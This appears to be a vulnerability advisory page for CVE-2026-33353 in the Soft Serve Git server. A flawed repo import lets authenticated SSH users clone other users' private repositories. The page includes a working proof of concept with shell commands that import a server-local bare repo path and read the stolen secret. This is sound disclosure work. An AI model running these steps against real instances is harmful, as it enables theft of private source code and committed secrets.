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Open-source package vulnerability · Go

CVE-2026-33353: In Soft Serve, an authenticated repo import can clone server-local private repositories

highCVSS 4.0 7.1GHSA-xgxp-f695-6vrp

Summary An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity. Details Repo import checks authorization only for the destination repository name, not for the source remote.

Published Mar 19, 2026 · Updated Mar 27, 2026

Affected packages

github.com/charmbracelet/soft-serve

Ecosystem
Go
Affected
>= 0.6.0, < 0.11.6
Fixed in
0.11.6
Check
go list -m github.com/charmbracelet/soft-serve

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.

Details

Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from `pkg/ssh/cmd/cmd.go:172`, which calls `pkg/backend/user.go:46`. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at `pkg/backend/user.go:94`.

The import command then passes the user-controlled REMOTE into `pkg/backend/repo.go:102`. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATA_PATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.

The relevant vulnerable flow is:

PoC

Configuration:

  • Default local test configuration is sufficient.
  • SSH must be enabled.
  • At least two users are needed: one owner/admin and one low-privilege authenticated user.

Reproduction steps:

  1. Start Soft Serve.
  2. As an admin, create a private repo:
soft repo create secret -p
  1. Create a second low-privilege user:
soft user create user1 --key "$USER1_AUTHORIZED_KEY"
  1. Seed the private repo with secret content:
git clone ssh://localhost:$SSH_PORT/secret secret
echo 'top secret' > secret/SECRET.txt
git -C secret add SECRET.txt
git -C secret commit -m 'first'
git -C secret push origin HEAD
  1. Confirm the low-privilege user cannot access the private repo directly:
usoft repo info secret

Expected result:

Error: repository not found
  1. As the low-privilege user, import the server-local bare repo path into a new repo:
usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com
  1. Clone the attacker-controlled imported repo and read the secret:
ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone
cat stolen-clone/SECRET.txt

Expected result:

top secret

Notes:

  • The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.

Impact

This is an authorization bypass and confidentiality issue.

Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.

Impacted parties:

  • Operators hosting Soft Serve for multiple users or teams
  • Owners of private repositories on the same instance
  • Any deployment where untrusted authenticated users can use repo import

Practical impact:

  • Theft of private source code
  • Disclosure of secrets committed to private repos
  • Exposure of unreleased or internal projects
  • Possible follow-on supply-chain risk if stolen code contains credentials or release material

Credited to evnsh.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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